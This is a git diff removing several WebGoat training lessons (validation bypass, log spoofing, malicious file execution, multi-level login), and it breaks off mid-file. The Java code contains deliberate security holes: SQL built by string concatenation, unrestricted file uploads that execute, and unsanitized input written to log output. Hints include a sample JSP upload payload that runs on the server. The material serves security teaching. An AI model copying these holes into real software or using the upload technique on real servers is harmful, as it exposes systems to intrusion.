TextArea("field7", 1, 25).addElement(param7); - - Input b = new Input(); - b.setType(Input.BUTTON); - b.setValue("Submit"); - b.addAttribute("onclick", "validate();"); - ec.addElement(new Div().addElement(new StringElement(getLabelManager().get("3LowerCase")+"(" - + regex1 + ")"))); - ec.addElement(new Div().addElement(input1)); - ec.addElement(new P()); - ec.addElement(new Div().addElement(new StringElement(getLabelManager().get("Exactly3Digits")+"(" + regex2 + ")"))); - ec.addElement(new Div().addElement(input2)); - ec.addElement(new P()); - ec.addElement(new Div().addElement(new StringElement(getLabelManager().get("LettersNumbersSpaceOnly")+"(" + regex3 - + ")"))); - ec.addElement(new Div().addElement(input3)); - ec.addElement(new P()); - ec.addElement(new Div().addElement(new StringElement(getLabelManager().get("EnumerationOfNumbers")+" (" + regex4 + ")"))); - ec.addElement(new Div().addElement(input4)); - ec.addElement(new P()); - ec.addElement(new Div().addElement(new StringElement(getLabelManager().get("SimpleZipCode")+ " (" + regex5 + ")"))); - ec.addElement(new Div().addElement(input5)); - ec.addElement(new P()); - ec.addElement(new Div() - .addElement(new StringElement(getLabelManager().get("ZIPDashFour")+" (" + regex6 + ")"))); - ec.addElement(new Div().addElement(input6)); - ec.addElement(new P()); - ec.addElement(new Div().addElement(new StringElement(getLabelManager().get("USPhoneNumber")+ " (" - + regex7 + ")"))); - ec.addElement(new Div().addElement(input7)); - ec.addElement(new P()); - ec.addElement(b); - - // Check the patterns on the server -- and note the errors in the response - // these should never match unless the client side pattern script doesn't work - - int err = 0; - String msg = ""; - - if (!pattern1.matcher(param1).matches()) - { - err++; - msg += "
"+getLabelManager().get("ServerSideValidationViolation")+" Field1."; - } - - if (!pattern2.matcher(param2).matches()) - { - err++; - msg += "
"+getLabelManager().get("ServerSideValidationViolation")+" Field2."; - } - - if (!pattern3.matcher(param3).matches()) - { - err++; - msg += "
"+getLabelManager().get("ServerSideValidationViolation")+"Field3."; - } - - if (!pattern4.matcher(param4).matches()) - { - err++; - msg += "
"+getLabelManager().get("ServerSideValidationViolation")+"Field4."; - } - - if (!pattern5.matcher(param5).matches()) - { - err++; - msg += "
"+getLabelManager().get("ServerSideValidationViolation")+"Field5."; - } - - if (!pattern6.matcher(param6).matches()) - { - err++; - msg += "
"+getLabelManager().get("ServerSideValidationViolation")+"Field6."; - } - - if (!pattern7.matcher(param7).matches()) - { - err++; - msg += "
"+getLabelManager().get("ServerSideValidationViolation")+"Field7."; - } - - if (err > 0) - { - s.setMessage(msg); - } - if (err >= 7) - { - // This means they defeated all the client side checks - makeSuccess(s); - } - } - - catch (Exception e) - { - s.setMessage(getLabelManager().get("ErrorGenerating") + this.getClass().getName()); - e.printStackTrace(); - } - - return (ec); - } - - /** - * DOCUMENT ME! - * - * @return DOCUMENT ME! - */ - protected Category getDefaultCategory() - { - return Category.PARAMETER_TAMPERING; - } - - /** - * Gets the hints attribute of the AccessControlScreen object - * - * @return The hints value - */ - protected List getHints(WebSession s) - { - List hints = new ArrayList(); - hints.add(getLabelManager().get("JavaScriptValidationHint1")); - hints.add(getLabelManager().get("JavaScriptValidationHint2")); - hints.add(getLabelManager().get("JavaScriptValidationHint3")); - - - return hints; - } - - - private final static Integer DEFAULT_RANKING = new Integer(120); - - protected Integer getDefaultRanking() - { - return DEFAULT_RANKING; - } - - /** - * Gets the title attribute of the AccessControlScreen object - * - * @return The title value - */ - public String getTitle() - { - return ("Bypass Client Side JavaScript Validation"); - } - - public Element getCredits() - { - return super.getCustomCredits("", ASPECT_LOGO); - } -} diff --git a/src/main/java/org/owasp/webgoat/lessons/LogSpoofing.java b/src/main/java/org/owasp/webgoat/lessons/LogSpoofing.java deleted file mode 100644 index c143c07b6..000000000 --- a/src/main/java/org/owasp/webgoat/lessons/LogSpoofing.java +++ /dev/null @@ -1,159 +0,0 @@ - -package org.owasp.webgoat.lessons; - -import java.io.UnsupportedEncodingException; -import java.net.URLDecoder; -import java.util.ArrayList; -import java.util.List; -import org.apache.ecs.Element; -import org.apache.ecs.ElementContainer; -import org.apache.ecs.HtmlColor; -import org.apache.ecs.StringElement; -import org.apache.ecs.html.A; -import org.apache.ecs.html.IMG; -import org.apache.ecs.html.Input; -import org.apache.ecs.html.PRE; -import org.apache.ecs.html.TD; -import org.apache.ecs.html.TR; -import org.apache.ecs.html.Table; -import org.owasp.webgoat.session.ECSFactory; -import org.owasp.webgoat.session.WebSession; - - -/*************************************************************************************************** - * - * - * This file is part of WebGoat, an Open Web Application Security Project utility. For details, - * please see http://www.owasp.org/ - * - * Copyright (c) 2002 - 20014 Bruce Mayhew - * - * This program is free software; you can redistribute it and/or modify it under the terms of the - * GNU General Public License as published by the Free Software Foundation; either version 2 of the - * License, or (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without - * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU - * General Public License for more details. - * - * You should have received a copy of the GNU General Public License along with this program; if - * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA - * 02111-1307, USA. - * - * Getting Source ============== - * - * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software - * projects. - * - * For details, please see http://webgoat.github.io - * - * @author Sherif Koussa Software Secured - * @created October 28, 2006 - */ - -public class LogSpoofing extends LessonAdapter -{ - - private static final String USERNAME = "username"; - - private static final String PASSWORD = "password"; - - - public final static A MAC_LOGO = new A().setHref("http://www.softwaresecured.com").addElement(new IMG("images/logos/softwaresecured.gif").setAlt("Software Secured").setBorder(0).setHspace(0).setVspace(0)); - - protected Element createContent(WebSession s) - { - - ElementContainer ec = null; - String inputUsername = null; - try - { - - Table t = new Table(0).setCellSpacing(0).setCellPadding(0).setBorder(0); - TR row1 = new TR(); - TR row2 = new TR(); - TR row3 = new TR(); - - row1.addElement(new TD(new StringElement(getLabelManager().get("UserName")+":"))); - Input username = new Input(Input.TEXT, USERNAME, ""); - row1.addElement(new TD(username)); - - row2.addElement(new TD(new StringElement(getLabelManager().get("Password")+": "))); - Input password = new Input(Input.PASSWORD, PASSWORD, ""); - row2.addElement(new TD(password)); - - Element b = ECSFactory.makeButton(getLabelManager().get("Login")); - row3.addElement(new TD(new StringElement("  "))); - row3.addElement(new TD(b)).setAlign("right"); - - t.addElement(row1); - t.addElement(row2); - t.addElement(row3); - - ec = new ElementContainer(); - ec.addElement(t); - - inputUsername = new String(s.getParser().getRawParameter(USERNAME, "")); - - if (inputUsername.length() != 0) - { - inputUsername = URLDecoder.decode(inputUsername, "UTF-8"); - } - - ec.addElement(new PRE(" ")); - - Table t2 = new Table(0).setCellSpacing(0).setCellPadding(0).setBorder(0); - TR row4 = new TR(); - row4.addElement(new TD(new PRE(getLabelManager().get("LoginFailedForUserName")+": " + inputUsername))).setBgColor(HtmlColor.GRAY); - - t2.addElement(row4); - - ec.addElement(t2); - - if (inputUsername.length() > 0 && inputUsername.indexOf('\n') >= 0 && inputUsername.indexOf('\n') >= 0) - { - makeSuccess(s); - } - } catch (UnsupportedEncodingException e) - { - s.setMessage("Error generating " + this.getClass().getName()); - e.printStackTrace(); - } - return ec; - } - - private final static Integer DEFAULT_RANKING = new Integer(72); - - protected Integer getDefaultRanking() - { - return DEFAULT_RANKING; - } - - @Override - protected List getHints(WebSession s) - { - List hints = new ArrayList(); - hints.add(getLabelManager().get("LogSpoofingHint1")); - hints.add(getLabelManager().get("LogSpoofingHint2")); - hints.add(getLabelManager().get("LogSpoofingHint3")); - hints.add(getLabelManager().get("LogSpoofingHint4")); - return hints; - } - - @Override - public String getTitle() - { - return "Log Spoofing"; - } - - @Override - protected Category getDefaultCategory() - { - return Category.INJECTION; - } - - public Element getCredits() - { - return super.getCustomCredits("Created by Sherif Koussa ", MAC_LOGO); - } -} diff --git a/src/main/java/org/owasp/webgoat/lessons/MaliciousFileExecution.java b/src/main/java/org/owasp/webgoat/lessons/MaliciousFileExecution.java deleted file mode 100644 index fdc3235fe..000000000 --- a/src/main/java/org/owasp/webgoat/lessons/MaliciousFileExecution.java +++ /dev/null @@ -1,501 +0,0 @@ -package org.owasp.webgoat.lessons; - -import java.sql.Connection; -import java.sql.ResultSet; -import java.sql.SQLException; -import java.sql.Statement; -import java.util.ArrayList; -import java.util.List; -import java.io.File; - -import org.apache.ecs.Element; -import org.apache.ecs.ElementContainer; -import org.apache.ecs.html.Form; -import org.apache.ecs.html.H1; -import org.apache.ecs.html.Input; -import org.apache.ecs.html.P; -import org.apache.ecs.html.A; -import org.apache.ecs.html.IMG; -import org.owasp.webgoat.session.DatabaseUtilities; -import org.owasp.webgoat.session.ECSFactory; -import org.owasp.webgoat.session.WebSession; - -import org.apache.commons.fileupload.*; -import org.apache.commons.fileupload.disk.*; -import org.apache.commons.fileupload.servlet.*; - -/******************************************************************************* - * - * - * This file is part of WebGoat, an Open Web Application Security Project - * utility. For details, please see http://www.owasp.org/ - * - * Copyright (c) 2002 - 20014 Bruce Mayhew - * - * This program is free software; you can redistribute it and/or modify it under - * the terms of the GNU General Public License as published by the Free Software - * Foundation; either version 2 of the License, or (at your option) any later - * version. - * - * This program is distributed in the hope that it will be useful, but WITHOUT - * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS - * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more - * details. - * - * You should have received a copy of the GNU General Public License along with - * this program; if not, write to the Free Software Foundation, Inc., 59 Temple - * Place - Suite 330, Boston, MA 02111-1307, USA. - * - * Getting Source ============== - * - * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository - * for free software projects. - * - * For details, please see http://webgoat.github.io - * - * @author Chuck Willis of MANDIANT - * @created July 11, 2008 - */ -public class MaliciousFileExecution extends LessonAdapter -{ - - private final static A MANDIANT_LOGO = new A().setHref("http://www.mandiant.com").addElement(new IMG("images/logos/mandiant.png").setAlt("MANDIANT").setBorder(0).setHspace(0).setVspace(0)); - - // the UPLOADS_DIRECTORY is where uploads are stored such that they can be references - // in image tags as "uploads/filename.ext". This directory string should not contain any path separators (/ or \) - private String uploads_and_target_parent_directory = null; - - private final static String UPLOADS_RELATIVE_PATH = "uploads"; - - // this is the target directory that the user must put a file in to pass the lessson. The file must be named - // username.txt. This directory string should not contain any path separators (/ or \) - - private final static String TARGET_RELATIVE_PATH = "mfe_target"; - - // this should probably go in a constructor, but we need the session object... - // may be able to do something like: - // String directory = this.getServletContext().getRealPath("/"); - private void fill_uploads_and_target_parent_directory(WebSession s) { - //uploads_and_target_parent_directory = s.getWebgoatContext().getServlet().getServletContext().getRealPath("/"); - uploads_and_target_parent_directory = s.getContext().getRealPath("/"); - // make sure it ends with a / or \ - if(!uploads_and_target_parent_directory.endsWith(File.separator)) { - uploads_and_target_parent_directory = uploads_and_target_parent_directory + - File.separator; - } - System.out.println("uploads_and_target_parent_directory set to = " - + uploads_and_target_parent_directory); - - // make sure the directories exist - File uploads_dir = new File(uploads_and_target_parent_directory - + UPLOADS_RELATIVE_PATH); - uploads_dir.mkdir(); - - File target_dir = new File(uploads_and_target_parent_directory - + TARGET_RELATIVE_PATH); - target_dir.mkdir(); - - // delete the user's target file if it is already there since we must - // have restarted webgoat - File userfile = new File(uploads_and_target_parent_directory - + TARGET_RELATIVE_PATH + java.io.File.separator - + s.getUserName() + ".txt"); - - userfile.delete(); - - } - - /** - * Description of the Method - * - * @param s - * Description of the Parameter - * @return Description of the Return Value - */ - protected Element createContent(WebSession s) - { - - if(uploads_and_target_parent_directory == null) { - fill_uploads_and_target_parent_directory(s); - } - - - ElementContainer ec = new ElementContainer(); - - try - { - - // check for success - see if the target file exists yet - - File userfile = new File(uploads_and_target_parent_directory - + TARGET_RELATIVE_PATH + java.io.File.separator - + s.getUserName() + ".txt"); - - if(userfile.exists()) { - makeSuccess(s); - } - - Connection connection = DatabaseUtilities.getConnection(s); - - ec.addElement(new H1().addElement("WebGoat Image Storage")); - - // show the current image - ec.addElement(new P().addElement("Your current image:")); - - String image_query = "SELECT image_relative_url FROM mfe_images WHERE user_name = '" - + s.getUserName() + "'"; - - Statement image_statement = connection.createStatement( - ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY); - ResultSet image_results = image_statement.executeQuery(image_query); - - if(image_results.next() == false) { - // result set was empty - ec.addElement(new P().addElement("No image uploaded")); - System.out.println("No image uploaded"); - } else { - - String image_url = image_results.getString(1); - - ec.addElement(new IMG(image_url).setBorder(0).setHspace(0).setVspace(0)); - - System.out.println("Found image named: " + image_url); - - } - - ec.addElement(new P().addElement("Upload a new image:")); - - Input input = new Input(Input.FILE, "myfile", ""); - ec.addElement(input); - - Element b = ECSFactory.makeButton("Start Upload"); - ec.addElement(b); - - } - catch (Exception e) - { - s.setMessage("Error generating " + this.getClass().getName()); - e.printStackTrace(); - } - - return (ec); - } - - /** - * Gets the category attribute of the SqlInjection object - * - * @return The category value - */ - protected Category getDefaultCategory() - { - return Category.MALICIOUS_EXECUTION; - } - - /** - * Gets the credits attribute of the AbstractLesson object - * - * @return The credits value - */ - public Element getCredits() - { - return super.getCustomCredits("Created by Chuck Willis ", MANDIANT_LOGO); - } - - /** - * Gets the hints attribute of the DatabaseFieldScreen object - * - * @return The hints value - */ - protected List getHints(WebSession s) - { - if(uploads_and_target_parent_directory == null) { - fill_uploads_and_target_parent_directory(s); - } - - String target_filename = uploads_and_target_parent_directory - + TARGET_RELATIVE_PATH - + java.io.File.separator - + s.getUserName() + ".txt"; - - List hints = new ArrayList(); - - hints.add("Where are uploaded images stored? Can you browse to them directly?"); - - hints.add("What type of file can you upload to a J2EE server that will be executed when you browse to it?"); - - hints.add("You want to upload a .jsp file that creates an instance of the class java.io.File " + - " and calls the createNewFile() method of that instance."); - - hints.add("Below are some helpful links..." + - "

Here is a page with an example of a simple .jsp file using a Scriptlet:" + - "
" + - "http://www.jsptut.com/Scriptlets.jsp" + - "

Here is an page with an example of using createNewFile():" + - "
" + - "http://www.roseindia.net/java/example/java/io/CreateFile.shtml" + - "

Here is the API specification for java.io.File:" + - "
" + - "http://java.sun.com/j2se/1.5.0/docs/api/java/io/File.html" - ); - - hints - .add("Here is an example .jsp file, modify it to use java.io.File and its createNewFile() method:" - + "

<HTML>" - + "
<%" - + "
java.lang.String hello = new java.lang.String(\"Hello World!\");" - + "
System.out.println(hello);" - + "
%>" - + "
</HTML>" - + "

NOTE: executing this file will print \"Hello World!\" to the Tomcat Console, not to your client browser" - ); - - - hints - .add("SOLUTION:

Upload a file with a .jsp extension and this content:" - + "

<HTML>" - + "
<%" - + "
java.io.File file = new java.io.File(\"" - + target_filename.replaceAll("\\\\", "\\\\\\\\") // if we are on windows, we need to - // make sure path separators are doubled / escaped - + "\");" - + "
file.createNewFile();" - + "
%>" - + "
</HTML>" - + "

After you have uploaded your jsp file, you can get the system to execute it by opening it in your browser at the URL below (or by just refreshing this page):" - + "

http://webgoat_ip:port/WebGoat/" + UPLOADS_RELATIVE_PATH + "/yourfilename.jsp" - ); - - return hints; - } - - // this is a custom method for this lesson to restart. It is called in WebSession.restartLesson - // in a currently somewhat "hacked up" manner that is specific to this lesson. There probably - // should be an abstract type for lessons that need custom "restarting" code. - public void restartLesson(WebSession s) - { - - if(uploads_and_target_parent_directory == null) { - fill_uploads_and_target_parent_directory(s); - } - - System.out.println("Restarting Malicious File Execution lesson for user " + s.getUserName()); - - // delete the user's target file - File userfile = new File(uploads_and_target_parent_directory - + TARGET_RELATIVE_PATH - + java.io.File.separator - + s.getUserName() + ".txt"); - - userfile.delete(); - - // remove the row from the mfe table - // add url to database table - - try { - Connection connection = DatabaseUtilities.getConnection(s); - - Statement statement = connection.createStatement(); - - String deleteuserrow = "DELETE from mfe_images WHERE user_name = '" - + s.getUserName() + "';"; - - statement.executeUpdate(deleteuserrow); - - } catch (SQLException e) { - // TODO Auto-generated catch block - e.printStackTrace(); - } - - } - - // cleanup code has been disabled for now. I'm not sure where it can be called cleanly - // where it will know what directory to use since that is pulled from the session object - - // this method will delete files in the target directory and the uploads directory - // it should be called when WebGoat starts -// public static void cleanDirectories() { -// // delete files in TARGET_DIRECTORY -// File target_dir = new File(TARGET_RELATIVE_PATH); -// deleteFilesInDir(target_dir); -// -// // delete files in uploads directory -// File uploads_dir = new File(uploads_and_target_parent_directory + UPLOADS_RELATIVE_PATH); -// deleteFilesInDir(uploads_dir); -// -// } - -// private static void deleteFilesInDir(File dir) { -// File[] dir_files = dir.listFiles(); -// for(int i = 0; i < dir_files.length; i++) { -// // we won't recurse and we don't want to delete every file just in -// // case TARGET_DIRECTORY or uploads directory is pointed -// // somewhere stupid, like c:\ or / -// if(dir_files[i].isFile()) { -// String lower_file_name = dir_files[i].getName().toLowerCase(); -// -// if(lower_file_name.endsWith(".jpg") || -// lower_file_name.endsWith(".gif") || -// lower_file_name.endsWith(".png") || -// lower_file_name.endsWith(".jsp") || -// lower_file_name.endsWith(".txt") || -// lower_file_name.endsWith(".asp") || // in case they think this is a IIS server :-) -// lower_file_name.endsWith(".aspx")) { -// dir_files[i].delete(); -// } -// } -// } -// } - - - /** - * Gets the instructions attribute of the object - * - * @return The instructions value - */ - public String getInstructions(WebSession s) - { - if(uploads_and_target_parent_directory == null) { - fill_uploads_and_target_parent_directory(s); - } - - String instructions = "The form below allows you to upload an image which will be displayed on this page. " - + "Features like this are often found on web based discussion boards and social networking sites. " - + "This feature is vulnerable to Malicious File Execution." - + "

In order to pass this lesson, upload and run a malicious file. In order to prove that your file can execute," - + " it should create another file named:

" - + uploads_and_target_parent_directory - + TARGET_RELATIVE_PATH - + java.io.File.separator - + s.getUserName() + ".txt" - + "

Once you have created this file, you will pass the lesson."; - - return (instructions); - } - - private final static Integer DEFAULT_RANKING = new Integer(75); - - protected Integer getDefaultRanking() - { - return DEFAULT_RANKING; - } - - /** - * Gets the title attribute of the DatabaseFieldScreen object - * - * @return The title value - */ - public String getTitle() - { - return ("Malicious File Execution"); - } - - /** - * Constructor for the DatabaseFieldScreen object - * - * @param s - * Description of the Parameter - */ - public void handleRequest(WebSession s) - { - - if(uploads_and_target_parent_directory == null) { - fill_uploads_and_target_parent_directory(s); - } - - - - try - { - if(ServletFileUpload.isMultipartContent(s.getRequest())) { - // multipart request - we have the file upload - -// Create a factory for disk-based file items - DiskFileItemFactory factory = new DiskFileItemFactory(); - factory.setSizeThreshold(500000); // files over 500k will be written to disk temporarily. - // files under that size will be stored in memory until written to disk by the request handler code below - -// Create a new file upload handler - ServletFileUpload upload = new ServletFileUpload(factory); - -// Parse the request - List /* FileItem */ items = upload.parseRequest(s.getRequest()); - -// Process the uploaded items - java.util.Iterator iter = items.iterator(); - while (iter.hasNext()) { - FileItem item = (FileItem) iter.next(); - - if (item.isFormField()) { - - // ignore regular form fields - - } else { - - // not a form field, must be a file upload - if(item.getName().contains("/") || item.getName().contains("\\")) { - System.out.println("Uploaded file contains a / or \\ (i.e. attempted directory traversal). Not storing file."); - // TODO - is there a way to show an error to the user here? - - s.setMessage("Directory traversal not allowed. Nice try though."); - - } else { - - // write file to disk with original name in uploads directory - String uploaded_file_path = uploads_and_target_parent_directory - + UPLOADS_RELATIVE_PATH - + java.io.File.separator - + item.getName(); - File uploadedFile = new File(uploaded_file_path); - item.write(uploadedFile); - System.out.println("Stored file:\n" + uploaded_file_path ); - - // add url to database table - Connection connection = DatabaseUtilities.getConnection(s); - - Statement statement = connection.createStatement(); - - // attempt an update - String updateData1 = "UPDATE mfe_images SET image_relative_url='" + UPLOADS_RELATIVE_PATH + "/" - + item.getName() + "' WHERE user_name = '" - + s.getUserName() + "';"; - - System.out.println("Updating row:\n" + updateData1 ); - if(statement.executeUpdate(updateData1) == 0) { - - // update failed, we need to add a row - String insertData1 = "INSERT INTO mfe_images VALUES ('" + - s.getUserName() + "','" + UPLOADS_RELATIVE_PATH + "/" + - item.getName() + "')"; - - System.out.println("Inserting row:\n" + insertData1 ); - statement.executeUpdate(insertData1); - - } - } - - } - } - - } - // now handle normally (if it was a multipart request or now) - - //super.handleRequest(s); - - // needed to cut and paste and edit rather than calling super - // here so that we could set the encoding type to multipart form data - // call createContent first so messages will go somewhere - - Form form = new Form(getFormAction(), Form.POST).setName("form") - .setEncType("multipart/form-data"); - - form.addElement(createContent(s)); - - setContent(form); - } - catch (Exception e) - { - System.out.println("Exception caught: " + e); - e.printStackTrace(System.out); - } - } -} diff --git a/src/main/java/org/owasp/webgoat/lessons/MultiLevelLogin1.java b/src/main/java/org/owasp/webgoat/lessons/MultiLevelLogin1.java deleted file mode 100644 index f2ad38111..000000000 --- a/src/main/java/org/owasp/webgoat/lessons/MultiLevelLogin1.java +++ /dev/null @@ -1,851 +0,0 @@ - -package org.owasp.webgoat.lessons; - -import java.sql.Connection; -import java.sql.PreparedStatement; -import java.sql.ResultSet; -import java.util.ArrayList; -import java.util.List; -import org.apache.ecs.Element; -import org.apache.ecs.ElementContainer; -import org.apache.ecs.StringElement; -import org.apache.ecs.html.A; -import org.apache.ecs.html.BR; -import org.apache.ecs.html.Div; -import org.apache.ecs.html.H1; -import org.apache.ecs.html.H2; -import org.apache.ecs.html.Input; -import org.apache.ecs.html.TD; -import org.apache.ecs.html.TR; -import org.apache.ecs.html.Table; -import org.apache.ecs.xhtml.style; -import org.owasp.webgoat.session.DatabaseUtilities; -import org.owasp.webgoat.session.WebSession; - - -/*************************************************************************************************** - * - * - * This file is part of WebGoat, an Open Web Application Security Project utility. For details, - * please see http://www.owasp.org/ - * - * Copyright (c) 2002 - 20014 Bruce Mayhew - * - * This program is free software; you can redistribute it and/or modify it under the terms of the - * GNU General Public License as published by the Free Software Foundation; either version 2 of the - * License, or (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without - * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU - * General Public License for more details. - * - * You should have received a copy of the GNU General Public License along with this program; if - * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA - * 02111-1307, USA. - * - * Getting Source ============== - * - * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software - * projects. - * - * - * For details, please see http://webgoat.github.io - * - * @author Reto Lippuner, Marcel Wirth - * @created April 7, 2008 - */ - -public class MultiLevelLogin1 extends SequentialLessonAdapter -{ - private final static String USER = "user"; - private final static String PASSWORD = "pass"; - private final static String HIDDEN_TAN = "hidden_tan"; - private final static String TAN = "tan"; - - private final static String LOGGEDIN = "loggedin"; - private final static String CORRECTTAN = "correctTan"; - private final static String LOGGEDINUSER = "loggedInUser"; - - /** - * Creates Staged WebContent - * - * @param s - */ - protected Element createContent(WebSession s) - { - return super.createStagedContent(s); - } - - /** - * See if the user has logged in correctly - * - * @param s - * @return true if loggedIn - */ - private boolean loggedIn(WebSession s) - { - try - { - return s.get(LOGGEDIN).equals("true"); - } catch (Exception e) - { - return false; - } - } - - /** - * See if the user had used a valid tan - * - * @param s - * @return true if correctTan - */ - private boolean correctTan(WebSession s) - { - try - { - return s.get(CORRECTTAN).equals("true"); - } catch (Exception e) - { - return false; - } - } - - /** - * Get the logged in user - * - * @param s - * @return the logged in user - */ - private String getLoggedInUser(WebSession s) - { - try - { - String user = (String) s.get(LOGGEDINUSER); - return user; - } catch (Exception e) - { - return ""; - } - } - - /** - * Creation of the main content - * - * @param s - * @return Element - */ - protected Element createMainContent(WebSession s) - { - ElementContainer ec = new ElementContainer(); - - try - { - style sty = new style(); - - sty - .addElement("#lesson_wrapper {height: 435px;width: " - + "500px;}#lesson_header {background-image: " - + "url(lessons/DBSQLInjection/images/lesson1_header.jpg);width:" - + " 490px;padding-right: 10px;padding-top: 60px;background-repeat: no-repeat;}.lesson_workspace " - + "{background-image: url(lessons/DBSQLInjection/images/lesson1_workspace.jpg);width: 489px;height: " - + "325px;padding-left: 10px;padding-top: 10px;background-repeat: no-repeat;} " - + ".lesson_text {height: 240px;width: 460px;padding-top: 5px;} " - + "#lesson_buttons_bottom {height: 20px;width: 460px;} " - + "#lesson_b_b_left {width: 300px;float: left;} " - + "#lesson_b_b_right input {width: 100px;float: right;} " - + ".lesson_title_box {height: 20px;width: 420px;padding-left: 30px;} " - + ".lesson_workspace { } " - + ".lesson_txt_10 {font-family: Arial, Helvetica, sans-serif;font-size: 10px;} " - + ".lesson_text_db {color: #0066FF} " - + "#lesson_login {background-image: url(lessons/DBSQLInjection/images/lesson1_loginWindow.jpg);height: " - + "124px;width: 311px;background-repeat: no-repeat;padding-top: 30px;margin-left: 80px;margin-top:" - + " 50px;text-align: center;} #lesson_login_txt {font-family: Arial, Helvetica, sans-serif;font-size: " - + "12px;text-align: center;} #lesson_search {background-image: " - + "url(lessons/DBSQLInjection/images/lesson1_SearchWindow.jpg);height: 124px;width: 311px;background-repeat: " - + "no-repeat;padding-top: 30px;margin-left: 80px;margin-top: 50px;text-align: center;}"); - ec.addElement(sty); - - Div wrapperDiv = new Div(); - wrapperDiv.setID("lesson_wrapper"); - - Div headerDiv = new Div(); - headerDiv.setID("lesson_header"); - - Div workspaceDiv = new Div(); - workspaceDiv.setClass("lesson_workspace"); - - wrapperDiv.addElement(headerDiv); - wrapperDiv.addElement(workspaceDiv); - - ec.addElement(wrapperDiv); - - workspaceDiv.addElement(createWorkspaceContent(s)); - - } catch (Exception e) - { - s.setMessage("Error generating " + this.getClass().getName()); - e.printStackTrace(); - } - - return (ec); - } - - /** - * Creation of the content of the workspace - * - * @param s - * @return Element - */ - private Element createWorkspaceContent(WebSession s) - { - String user = ""; - user = s.getParser().getStringParameter(USER, ""); - String password = ""; - password = s.getParser().getStringParameter(PASSWORD, ""); - String tan = ""; - tan = s.getParser().getStringParameter(TAN, ""); - String hiddenTan = s.getParser().getStringParameter(HIDDEN_TAN, ""); - - ElementContainer ec = new ElementContainer(); - - // verify that tan is correct and user is logged in - if (loggedIn(s) && correctTan(getLoggedInUser(s), tan, hiddenTan, s)) - { - s.add(CORRECTTAN, "true"); - } - // user is loggedIn but enters wrong tan - else if (loggedIn(s) && !correctTan(getLoggedInUser(s), tan, hiddenTan, s)) - { - s.add(LOGGEDIN, "false"); - } - - // verify the password - if (correctLogin(user, password, s)) - { - s.add(LOGGEDIN, "true"); - s.add(LOGGEDINUSER, user); - } - - // if restart link is clicked owe have to reset log in - if (!s.getParser().getStringParameter("Restart", "").equals("")) - { - s.add(LOGGEDIN, "false"); - s.add(CORRECTTAN, "false"); - resetTans(s); - } - // Logout Button is pressed - if (s.getParser().getRawParameter("logout", "").equals("true")) - { - s.add(LOGGEDIN, "false"); - s.add(CORRECTTAN, "false"); - - } - if (loggedIn(s) && correctTan(s)) - { - s.add(LOGGEDIN, "false"); - s.add(CORRECTTAN, "false"); - - createSuccessfulLoginContent(s, ec); - if (getLessonTracker(s).getStage() == 2) - { - if (hiddenTan.equals("1")) - { - makeSuccess(s); - } - } - else - { - getLessonTracker(s).setStage(2); - s.setMessage("Stage 1 completed."); - } - } - - else if (loggedIn(s)) - { - int tanNr = getTanPosition(getLoggedInUser(s), s); - if (tanNr == 0) - { - createNoTanLeftContent(ec); - - } - else - { - createAskForTanContent(s, ec, tanNr); - } - - } - else - { - String errorMessage = ""; - - if (!(user + password).equals("")) - { - errorMessage = "Login failed! Make sure " + "that user name and password is correct."; - } - else if (!tan.equals("")) - { - errorMessage = "Login failed. Tan is " + "incorrect."; - } - - createLogInContent(ec, errorMessage); - } - - return ec; - } - - /** - * Create content for logging in - * - * @param ec - */ - private void createLogInContent(ElementContainer ec, String errorMessage) - { - Div loginDiv = new Div(); - loginDiv.setID("lesson_login"); - - Table table = new Table(); - table.addAttribute("align='center'", 0); - TR tr1 = new TR(); - TD td1 = new TD(); - TD td2 = new TD(); - td1.addElement(new StringElement("Enter your name: ")); - td2.addElement(new Input(Input.TEXT, USER)); - tr1.addElement(td1); - tr1.addElement(td2); - - TR tr2 = new TR(); - TD td3 = new TD(); - TD td4 = new TD(); - td3.addElement(new StringElement("Enter your password: ")); - td4.addElement(new Input(Input.PASSWORD, PASSWORD)); - tr2.addElement(td3); - tr2.addElement(td4); - - TR tr3 = new TR(); - TD td5 = new TD(); - td5.setColSpan(2); - td5.setAlign("center"); - - td5.addElement(new Input(Input.SUBMIT, "Submit", "Submit")); - tr3.addElement(td5); - - table.addElement(tr1); - table.addElement(tr2); - table.addElement(tr3); - loginDiv.addElement(table); - ec.addElement(loginDiv); - - H2 errorTag = new H2(errorMessage); - errorTag.addAttribute("align", "center"); - errorTag.addAttribute("class", "info"); - ec.addElement(errorTag); - } - - /** - * Create content in which the tan is asked - * - * @param s - * @param ec - * @param tanNr - */ - private void createAskForTanContent(WebSession s, ElementContainer ec, int tanNr) - { - - Div loginDiv = new Div(); - loginDiv.setID("lesson_login"); - - Table table = new Table(); - table.addAttribute("align='center'", 0); - TR tr1 = new TR(); - TD td1 = new TD(); - TD td2 = new TD(); - td1.addElement(new StringElement("Enter TAN #" + tanNr + ": ")); - td2.addElement(new Input(Input.TEXT, TAN)); - tr1.addElement(td1); - tr1.addElement(td2); - - TR tr2 = new TR(); - TD td3 = new TD(); - td3.setColSpan(2); - td3.setAlign("center"); - - td3.addElement(new Input(Input.SUBMIT, "Submit", "Submit")); - tr2.addElement(td3); - - table.addElement(tr1); - table.addElement(tr2); - - ec.addElement(new Input(Input.HIDDEN, HIDDEN_TAN, tanNr)); - loginDiv.addElement(table); - ec.addElement(loginDiv); - ec.addElement(createLogoutLink()); - - } - - /** - * Create content if there is no tan left - * - * @param ec - */ - private void createNoTanLeftContent(ElementContainer ec) - { - - ec.addElement(new BR()); - ec.addElement(new BR()); - ec.addElement(new BR()); - ec.addElement(new BR()); - H1 h = new H1("
No tan is left! Please contact the admin.
